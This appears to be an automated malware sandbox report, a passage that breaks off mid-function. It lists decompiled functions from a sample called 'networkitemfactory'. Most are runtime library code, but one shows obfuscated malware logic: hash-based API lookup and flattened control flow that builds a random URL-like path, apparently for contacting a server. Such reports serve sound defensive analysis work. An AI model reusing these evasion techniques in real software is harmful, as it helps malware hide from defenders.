				_v52.cbWndExtra = 0;
				_v52.hInstance = _t16;
				_v52.hIcon = LoadIconA(_t16, 0x6b);
				_v52.hCursor = LoadCursorA(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = 0x4368b0;
				_v52.hIconSm = LoadIconA(_v52.hInstance, 0x6c);
				return RegisterClassExA( &_v52);
			}

0x00401b06
0x00401b0c
0x00401b13
0x00401b1a
0x00401b21
0x00401b28
0x00401b2f
0x00401b3f
0x00401b4d
0x00401b50
0x00401b57
0x00401b5e
0x00401b6b
0x00401b7b

APIs

LoadIconA.USER32(?,0000006B), ref: 00401B32
LoadCursorA.USER32 ref: 00401B42
LoadIconA.USER32(?,0000006C), ref: 00401B65
RegisterClassExA.USER32(00000030), ref: 00401B72

Strings

0, xrefs: 00401B0C

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Load$Icon$ClassCursorRegister
String ID: 0
API String ID: 4202395251-4108050209
Opcode ID: a71c3b1cb4ff5c24059766a0e8a90010ee43dc88a63ad91dff96757c0ac73305
Instruction ID: ac0e75dba2af3176d702dc32e44df3b044374c7e21e17c4da143abcc9c03fe3b
Opcode Fuzzy Hash: a71c3b1cb4ff5c24059766a0e8a90010ee43dc88a63ad91dff96757c0ac73305
Instruction Fuzzy Hash: 3101BBB0C40209ABEF009FE0D95D79EBFB8BB08304F108559E515BA290D7BA46148F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8E6, Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040F8E6(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0x43735c, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0x437358 == _t7) {
									_t9 = E00403FAC();
									 *_t9 = E00404005(GetLastError());
									goto L17;
								} else {
									if(E004036E7(_t7, _t31) == 0) {
										_t12 = E00403FAC();
										 *_t12 = E00404005(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E004036E7(_t6, _t31);
						 *((intOrPtr*)(E00403FAC())) = 0xc;
						goto L12;
					} else {
						E00402CB3(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E004025D7(__ebx, __edx, __edi, _a8);
				}
			}

APIs

_malloc.LIBCMT ref: 0040F8F2

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00520000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

_free.LIBCMT ref: 0040F905

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 7a0ca71ea7ed07806f718cd88403afa96b90f780b46ebdba71b186e10baf8954
Instruction ID: 7eca6f38aeb7a3005b5944069fb91ed30c7bffdeea9973184b42a437568cbb77
Opcode Fuzzy Hash: 7a0ca71ea7ed07806f718cd88403afa96b90f780b46ebdba71b186e10baf8954
Instruction Fuzzy Hash: E011E7B2804612BBCF313F71AC0475A3BA8AF44368F20443BF945B66D1DB3D8D44969C

Uniqueness

Uniqueness Score: -1.00%

Function 020B12B0, Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E020B12B0(char __ecx, signed int __edx, intOrPtr* _a4) {
				char _v2048;
				char _v2560;
				char _v2688;
				char _v2816;
				intOrPtr _v2820;
				intOrPtr _v2824;
				char _v2828;
				char _v2836;
				char _v2844;
				intOrPtr _v2848;
				char _v2852;
				intOrPtr _v2856;
				char _v2860;
				intOrPtr _v2864;
				char _v2868;
				intOrPtr* _v2872;
				signed int _v2876;
				signed int _v2880;
				char _v2884;
				signed int _v2888;
				signed int _v2892;
				intOrPtr* _v2896;
				intOrPtr _v2900;
				void* __ebx;
				void* __ebp;
				void* _t107;
				signed int _t108;
				intOrPtr* _t113;
				signed int _t119;
				signed int _t123;
				intOrPtr* _t126;
				intOrPtr* _t128;
				signed int _t137;
				void* _t141;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr* _t159;
				void* _t165;
				signed int _t167;
				intOrPtr* _t177;
				void* _t180;
				intOrPtr _t196;
				intOrPtr* _t206;
				intOrPtr _t229;
				signed char* _t245;
				signed int _t260;
				short* _t261;
				void* _t263;
				short* _t264;
				void* _t266;
				void* _t268;
				void* _t270;
				intOrPtr* _t272;
				signed int _t276;
				char _t277;
				intOrPtr* _t278;
				intOrPtr* _t279;
				void* _t281;
				void* _t283;
				void* _t284;
				void* _t285;

				_t281 =  &_v2896;
				_t279 = _v2860;
				_v2888 = 0;
				_t260 = __edx;
				_v2880 = __edx;
				_t107 = 0x34b824cd;
				_v2884 = __ecx;
				_v2896 = _v2856;
				_v2872 = _t279;
				while(1) {
					L1:
					_t177 = _a4;
					while(1) {
						_t241 = _v2892;
						do {
							while(1) {
								L3:
								_t283 = _t107 - 0x1eb6b95d;
								if(_t283 > 0) {
									break;
								}
								if(_t283 == 0) {
									_t126 =  *0x20bddc8;
									__eflags = _t126;
									if(_t126 == 0) {
										_t126 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x298e8809, _t279);
										 *0x20bddc8 = _t126;
									}
									_t266 =  *_t126();
									_t128 =  *0x20bdbec;
									__eflags = _t128;
									if(_t128 == 0) {
										_t128 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x632f374, _t279);
										 *0x20bdbec = _t128;
									}
									 *_t128(_t266, 0, _t279);
									goto L68;
								} else {
									_t284 = _t107 - 0xe09be1f;
									if(_t284 > 0) {
										__eflags = _t107 - 0x1994374c;
										if(__eflags > 0) {
											__eflags = _t107 - 0x1e99af87;
											if(_t107 != 0x1e99af87) {
												goto L58;
											} else {
												_v2868 = 0;
												_v2864 = 0;
												_t137 = E020B2BA0( &_v2688, _t241,  &_v2560,  &_v2048,  &_v2844,  &_v2868);
												_t281 = _t281 + 0x10;
												asm("sbb eax, eax");
												_t107 = ( ~_t137 & 0x11817f15) + 0x1fd2b00b;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											}
										} else {
											if(__eflags == 0) {
												E020B4180(_t177, _v2836);
												_t107 = 0x33f162b3;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											} else {
												__eflags = _t107 - 0x11137988;
												if(_t107 == 0x11137988) {
													_t141 = E020B3460(0x20bd090);
													_t278 =  *0x20bdf10;
													_t263 = _t141;
													__eflags = _t278;
													if(_t278 == 0) {
														_t278 = E020B3DD0(_t177, E020B3E70(0xe60124ba), 0xec538b3a, _t279);
														 *0x20bdf10 = _t278;
													}
													_t196 =  *0x20be35c; // 0x550bb8
													_t245 =  *(_t196 + 0x2c);
													 *_t278( &_v2688, 0x40, _t263, _t245[3] & 0x000000ff, _t245[2] & 0x000000ff, _t245[1] & 0x000000ff,  *_t245 & 0x000000ff);
													_t281 = _t281 + 0x1c;
													E020B3400(_t263);
													_t147 =  *0x20be35c; // 0x550bb8
													_t260 = _v2880;
													_t277 = _v2884;
													_t148 =  *((intOrPtr*)(_t147 + 0x2c));
													_t241 =  *(_t148 + 4) & 0x0000ffff;
													_t107 = 0x5ac3e84;
													_v2892 =  *(_t148 + 4) & 0x0000ffff;
													continue;
												} else {
													__eflags = _t107 - 0x14d5ed4a;
													if(_t107 != 0x14d5ed4a) {
														goto L58;
													} else {
														E020B4180(_t177, _v2868);
														_t107 = 0x1fd2b00b;
														while(1) {
															_t241 = _v2892;
															goto L3;
														}
													}
												}
											}
										}
									} else {
										if(_t284 == 0) {
											_t268 =  *(_t260 + 4) + (0x51eb851f *  *(_t260 + 4) >> 0x20 >> 5) * 4 + (0x51eb851f *  *(_t260 + 4) >> 0x20 >> 5);
											_t279 = E020B4220(_t177, _t268);
											_v2872 = _t279;
											__eflags = _t279;
											if(_t279 == 0) {
												L68:
												return _v2900;
											} else {
												_push(_t268);
												_push(_t279);
												_t206 = E020B5B30( *_t260,  *(_t260 + 4), _t279);
												_t281 = _t281 + 8;
												_v2896 = _t206;
												__eflags = _t206;
												if(_t206 == 0) {
													E020B4180(_t177, _t279);
													return _v2888;
												} else {
													_t107 = 0x202b0a47;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											}
										} else {
											_t285 = _t107 - 0xa20cd0f;
											if(_t285 > 0) {
												__eflags = _t107 - 0xb290b63;
												if(_t107 != 0xb290b63) {
													goto L58;
												} else {
													_t270 = E020B3460(0x20bd100);
													_t159 =  *0x20bdf10;
													__eflags = _t159;
													if(_t159 == 0) {
														_t159 = E020B3DD0(_t177, E020B3E70(0xe60124ba), 0xec538b3a, _t279);
														 *0x20bdf10 = _t159;
													}
													 *_t159( &_v2048, 0x400, _t270,  &_v2688,  &_v2560,  &_v2816);
													_t281 = _t281 + 0x18;
													E020B3400(_t270);
													_t107 = 0x20a98e65;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											} else {
												if(_t285 == 0) {
													 *((intOrPtr*)(_t177 + 4)) =  *_v2852;
													_t272 = E020B4220(_t177,  *_v2852);
													 *_t177 = _t272;
													__eflags = _t272;
													if(_t272 != 0) {
														_push( *((intOrPtr*)(_t177 + 4)));
														_push(_t272);
														_t165 = E020B5750(_v2848 - 4);
														_t281 = _t281 + 8;
														__eflags = 0 - _t165;
														asm("sbb edi, edi");
														_v2888 =  ~_t260;
														if(0 == _t165) {
															E020B4180(_t177,  *_t177);
														}
														_t260 = _v2880;
													}
													_t107 = 0x2833dc8d;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												} else {
													if(_t107 == 0x32df52c) {
														_t167 = E020B2240( &_v2860,  &_v2836);
														asm("sbb eax, eax");
														_t107 = ( ~_t167 & 0xdd2216d5) + 0x33f162b3;
														while(1) {
															_t241 = _v2892;
															goto L3;
														}
													} else {
														if(_t107 != 0x5ac3e84) {
															goto L58;
														} else {
															_t261 =  &_v2560;
															_t180 = _v2876 - (0xaaaaaaab * _v2876 >> 0x20 >> 2) + (0xaaaaaaab * _v2876 >> 0x20 >> 2) * 2 + (0xaaaaaaab * _v2876 >> 0x20 >> 2) + (0xaaaaaaab * _v2876 >> 0x20 >> 2) * 2 + 1;
															if(_t180 != 0) {
																do {
																	_t276 = (_v2876 & 0x0000000f) + 4;
																	E020B4E10(_t261, _t276,  &_v2876);
																	_t264 = _t261 + _t276 * 2;
																	_t281 = _t281 + 4;
																	 *_t264 = 0x2f;
																	_t261 = _t264 + 2;
																	_t180 = _t180 - 1;
																} while (_t180 != 0);
																_t279 = _v2872;
																_t277 = _v2884;
															}
															 *_t261 = 0;
															_t107 = 0x3114903d;
															_t260 = _v2880;
															goto L1;
														}
													}
												}
											}
										}
									}
								}
								L69:
							}
							__eflags = _t107 - 0x3114903d;
							if(__eflags > 0) {
								__eflags = _t107 - 0x31542f20;
								if(_t107 == 0x31542f20) {
									_t108 = E020B1F60( &_v2868,  &_v2852);
									asm("sbb eax, eax");
									_t107 = ( ~_t108 & 0xf54adfc5) + 0x14d5ed4a;
									_t241 = _v2892;
									goto L3;
								} else {
									__eflags = _t107 - 0x33f162b3;
									if(_t107 == 0x33f162b3) {
										E020B4180(_t177, _v2860);
										_t107 = 0x1eb6b95d;
										while(1) {
											_t241 = _v2892;
											goto L3;
										}
									} else {
										__eflags = _t107 - 0x34b824cd;
										if(_t107 != 0x34b824cd) {
											goto L58;
										} else {
											_t113 =  *0x20bdc10;
											__eflags = _t113;
											if(_t113 == 0) {
												_t113 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t279);
												 *0x20bdc10 = _t113;
											}
											_v2876 =  *_t113();
											_t107 = 0xe09be1f;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										}
									}
								}
							} else {
								if(__eflags == 0) {
									E020B1C10( &_v2816);
									_t107 = 0xb290b63;
									while(1) {
										_t241 = _v2892;
										goto L3;
									}
								} else {
									__eflags = _t107 - 0x20a98e65;
									if(__eflags > 0) {
										__eflags = _t107 - 0x2833dc8d;
										if(_t107 != 0x2833dc8d) {
											goto L58;
										} else {
											E020B4180(_t177, _v2852);
											_t107 = 0x14d5ed4a;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										}
									} else {
										if(__eflags == 0) {
											_t119 = E020B18E0( &_v2836,  &_v2816,  &_v2844);
											_t229 = _v2896;
											_t281 = _t281 + 4;
											asm("sbb eax, eax");
											_t107 = ( ~_t119 & 0x0505783b) + 0x1994374c;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										} else {
											__eflags = _t107 - 0x1fd2b00b;
											if(_t107 == 0x1fd2b00b) {
												E020B4180(_t177, _v2844);
												_t229 = _v2896;
												_t107 = 0x1994374c;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											} else {
												__eflags = _t107 - 0x202b0a47;
												if(_t107 != 0x202b0a47) {
													goto L58;
												} else {
													_v2820 = _t229;
													_v2828 = _t277;
													_v2824 = _t279;
													_t123 = E020B1DF0( &_v2828,  &_v2860);
													_t229 = _v2896;
													asm("sbb eax, eax");
													_t107 = ( ~_t123 & 0xe4773bcf) + 0x1eb6b95d;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											}
										}
									}
								}
							}
							goto L69;
							L58:
							__eflags = _t107 - 0x198d893d;
						} while (_t107 != 0x198d893d);
						return _v2888;
						goto L69;
					}
				}
			}

0x020b12b0
0x020b12b8
0x020b12c2
0x020b12ca
0x020b12cc
0x020b12d0
0x020b12d5
0x020b12d9
0x020b12dd
0x020b12e1
0x020b12e1
0x020b12e1
0x020b12e8
0x020b12e8
0x020b12f0
0x020b12f0
0x020b12f0
0x020b12f0
0x020b12f5
0x00000000
0x00000000
0x020b12fb
0x020b17bc
0x020b17c1
0x020b17c3
0x020b17d6
0x020b17db
0x020b17db
0x020b17e2
0x020b17e4
0x020b17e9
0x020b17eb
0x020b17fe
0x020b1803
0x020b1803
0x020b180c
0x00000000
0x020b1301
0x020b1301
0x020b1306
0x020b14f3
0x020b14f8
0x020b15d1
0x020b15d6
0x00000000
0x020b15dc
0x020b15e0
0x020b15ed
0x020b160d
0x020b1616
0x020b161b
0x020b1622
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b14fe
0x020b14fe
0x020b15be
0x020b15c7
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1504
0x020b1504
0x020b1509
0x020b1532
0x020b1537
0x020b153d
0x020b153f
0x020b1541
0x020b1559
0x020b155b
0x020b155b
0x020b1561
0x020b1567
0x020b1588
0x020b158a
0x020b158f
0x020b1594
0x020b159d
0x020b15a1
0x020b15a5
0x020b15a8
0x020b15ac
0x020b15b1
0x00000000
0x020b150b
0x020b150b
0x020b1510
0x00000000
0x020b1516
0x020b151a
0x020b1523
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1510
0x020b1509
0x020b14fe
0x020b130c
0x020b130c
0x020b14b1
0x020b14ba
0x020b14bc
0x020b14c0
0x020b14c2
0x020b180e
0x020b181c
0x020b14c8
0x020b14cd
0x020b14ce
0x020b14d4
0x020b14d6
0x020b14d9
0x020b14dd
0x020b14df
0x020b17a8
0x020b17bb
0x020b14e5
0x020b14e9
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b14df
0x020b1312
0x020b1312
0x020b1317
0x020b1425
0x020b142a
0x00000000
0x020b1430
0x020b143a
0x020b143c
0x020b1441
0x020b1443
0x020b1456
0x020b145b
0x020b145b
0x020b1483
0x020b1485
0x020b148a
0x020b1493
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b131d
0x020b131d
0x020b13d0
0x020b13d8
0x020b13da
0x020b13dc
0x020b13de
0x020b13e8
0x020b13f1
0x020b13f2
0x020b13f9
0x020b13fc
0x020b13fe
0x020b1402
0x020b1406
0x020b140a
0x020b140a
0x020b140f
0x020b140f
0x020b1417
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1323
0x020b1328
0x020b13ae
0x020b13b9
0x020b13c0
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b132a
0x020b132f
0x00000000
0x020b1335
0x020b1339
0x020b1351
0x020b1352
0x020b1360
0x020b136d
0x020b1373
0x020b1378
0x020b137b
0x020b137e
0x020b1381
0x020b1384
0x020b1384
0x020b1387
0x020b138f
0x020b138f
0x020b1395
0x020b1398
0x020b139d
0x00000000
0x020b139d
0x020b132f
0x020b1328
0x020b131d
0x020b1317
0x020b130c
0x020b1306
0x00000000
0x020b12fb
0x020b162c
0x020b1631
0x020b1704
0x020b1709
0x020b178a
0x020b1795
0x020b179c
0x020b12e8
0x00000000
0x020b170b
0x020b170b
0x020b1710
0x020b176f
0x020b1778
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1712
0x020b1712
0x020b1717
0x00000000
0x020b1719
0x020b1719
0x020b171e
0x020b1720
0x020b1733
0x020b1738
0x020b1738
0x020b1743
0x020b1747
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1717
0x020b1710
0x020b1637
0x020b1637
0x020b16f1
0x020b16fa
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b163d
0x020b163d
0x020b1642
0x020b16cf
0x020b16d4
0x00000000
0x020b16d6
0x020b16da
0x020b16e3
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1648
0x020b1648
0x020b16b0
0x020b16b5
0x020b16b9
0x020b16be
0x020b16c5
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b164a
0x020b164a
0x020b164f
0x020b1690
0x020b1695
0x020b1699
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1651
0x020b1651
0x020b1656
0x00000000
0x020b165c
0x020b165c
0x020b1668
0x020b166c
0x020b1670
0x020b1675
0x020b167b
0x020b1682
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1656
0x020b164f
0x020b1648
0x020b1642
0x020b1637
0x00000000
0x020b1751
0x020b1751
0x020b1751
0x020b176a
0x00000000
0x020b176a
0x020b12e8

APIs

_snwprintf.NTDLL ref: 020B1588

Strings

/T1, xrefs: 020B1704
G+ , xrefs: 020B1651
G+ , xrefs: 020B14E9

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: _snwprintf
String ID: /T1$G+ $G+
API String ID: 3988819677-2345689787
Opcode ID: 7457a2de186d4c4e0c8e4528e9f944a33bd4f7eb74e8acd5551305681c996801
Instruction ID: 4e791b6d304ca05a1d9f7a0d9a26517fd9083ac88184ebd205f0006823c530ac
Opcode Fuzzy Hash: 7457a2de186d4c4e0c8e4528e9f944a33bd4f7eb74e8acd5551305681c996801
Instruction Fuzzy Hash: 3AD19075A083068BC736DF64C4A0AEEF7E6AF84304F544A1EE899D7340DB34E915DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040F24B, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F24B() {
				intOrPtr _t3;
				intOrPtr _t4;
				void* _t6;
				intOrPtr _t9;
				void* _t12;
				intOrPtr _t13;

				_t3 =  *0x438b20; // 0x200
				_t13 = 0x14;
				if(_t3 != 0) {
					if(_t3 < _t13) {
						_t3 = _t13;
						goto L4;
					}
				} else {
					_t3 = 0x200;
					L4:
					 *0x438b20 = _t3;
				}
				_t4 = E0040CFF1(_t3, 4);
				 *0x438b1c = _t4;
				if(_t4 != 0) {
					L8:
					_t12 = 0;
					_t9 = 0x435ae0;
					while(1) {
						 *((intOrPtr*)(_t12 + _t4)) = _t9;
						_t9 = _t9 + 0x20;
						_t12 = _t12 + 4;
						if(_t9 >= 0x435d60) {
							break;
						}
						_t4 =  *0x438b1c; // 0x537710
					}
					return 0;
				} else {
					 *0x438b20 = _t13;
					_t4 = E0040CFF1(_t13, 4);
					 *0x438b1c = _t4;
					if(_t4 != 0) {
						goto L8;
					} else {
						_t6 = 0x1a;
						return _t6;
					}
				}
			}

APIs

__calloc_crt.LIBCMT ref: 0040F26D
__calloc_crt.LIBCMT ref: 0040F286

Strings

wC, xrefs: 0040F29D
`]C, xrefs: 0040F2AB

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __calloc_crt
String ID: `]C$wC
API String ID: 3494438863-808437571
Opcode ID: 484377b076df00fabd8c2a1fccc8f7f648e9a1d09ed7ea333a479461580e79bd
Instruction ID: 72d7284f8e9fd5ec6db6b3b88fa14804601b3eb64e61d0091f2518a1533ae0a5
Opcode Fuzzy Hash: 484377b076df00fabd8c2a1fccc8f7f648e9a1d09ed7ea333a479461580e79bd
Instruction Fuzzy Hash: 65F02DB53087038AF7349B59BC61A52A395E748720F00807FF100EA6C0D73C9843878C

Uniqueness

Uniqueness Score: -1.00%

Function 00402524, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00402524(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				char* _v16;
				char _v28;
				signed char _v32;
				void* _t10;
				void* _t19;
				intOrPtr* _t22;
				void* _t24;
				void* _t25;
				intOrPtr* _t27;

				_t25 = __edi;
				_t19 = __ebx;
				while(1) {
					_t10 = E004025D7(_t19, _t24, _t25, _a4);
					if(_t10 != 0) {
						break;
					}
					if(E004036E7(_t10, _a4) == 0) {
						_push(1);
						_v16 = "bad allocation";
						_t22 =  &_v28;
						E004034F3(_t22,  &_v16);
						_v28 = 0x42cdd4;
						E0040371A( &_v28, 0x4341d8);
						asm("int3");
						_t27 = _t22;
						 *_t27 = 0x42cdd4;
						E00403563(_t22);
						if((_v32 & 0x00000001) != 0) {
							E004023FA(_t27);
						}
						return _t27;
					} else {
						continue;
					}
					L7:
				}
				return _t10;
				goto L7;
			}

APIs

_malloc.LIBCMT ref: 0040253C

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00520000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

std::exception::exception.LIBCMT ref: 0040255A
__CxxThrowException@8.LIBCMT ref: 0040256F

Part of subcall function 0040371A: RaiseException.KERNEL32(?,?,?,004341D8,?,00000000,?,?,?,00402574,?,004341D8,?,00000001), ref: 0040376F

Strings

bad allocation, xrefs: 0040254F

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: a3d21fe86276208f817dbcb78276c6e3ae1468de7613c1dcd0239201df3327a7
Instruction ID: 5cc741f056d4a3ad692e710aafeaad04cb18d0bca015c19945315737f035ef5c
Opcode Fuzzy Hash: a3d21fe86276208f817dbcb78276c6e3ae1468de7613c1dcd0239201df3327a7
Instruction Fuzzy Hash: ABF0F47150021976CB00AE69ED199EEBFACAF01315F10447BFC04B26D1DFF99B40929C

Uniqueness

Uniqueness Score: -1.00%

Function 020921A0, Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 020921F9
SetLastError.KERNEL32(0000007E), ref: 0209223B

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 0af611ed08318c0b9b5ce45e2fc3fa9cbb846e1ca43603425298a77affc102d6
Instruction ID: 9b75fb3b57115c9681c686e7c4d8f0e922515bc931373b92c50d05bb4b59e67f
Opcode Fuzzy Hash: 0af611ed08318c0b9b5ce45e2fc3fa9cbb846e1ca43603425298a77affc102d6
Instruction Fuzzy Hash: F781B974A00209EFDB04DF94C994BAEB7B1FF88314F148198E94AAB351C734EA91DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004154D3, Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004154D3(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E0040D9B1( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E004150F5( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							_t42 = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00403FAC();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
